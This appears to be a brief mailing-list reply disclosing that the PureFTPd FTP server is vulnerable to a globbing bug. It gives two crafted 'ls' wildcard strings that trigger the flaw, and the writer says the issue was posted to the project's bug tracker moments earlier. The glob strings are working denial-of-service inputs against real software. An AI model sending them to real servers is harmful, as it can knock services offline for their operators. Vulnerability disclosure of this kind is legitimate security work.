	In an ironic twist, PureFTPd (of which you are apparently the author), is
indeed vulnerable to this globbing bug, using variants of the string you
previously posted.  Try:

ls .*./*?/.*./*?/.*./*?/.*./*?/.*./*?/.*./*?/.*./*?/.*./*?/.*./*?/

and

ls */.*/*/.*/*/.*/*/.*/*/.*/*/.*/*/.*/*/.*/*/.*/*/.*/*/.*/*/.*/

	against your software.  To give you the same level of notice you gave
everyone else, I went ahead and posted this into your bug tracking system
about 30 seconds ago.
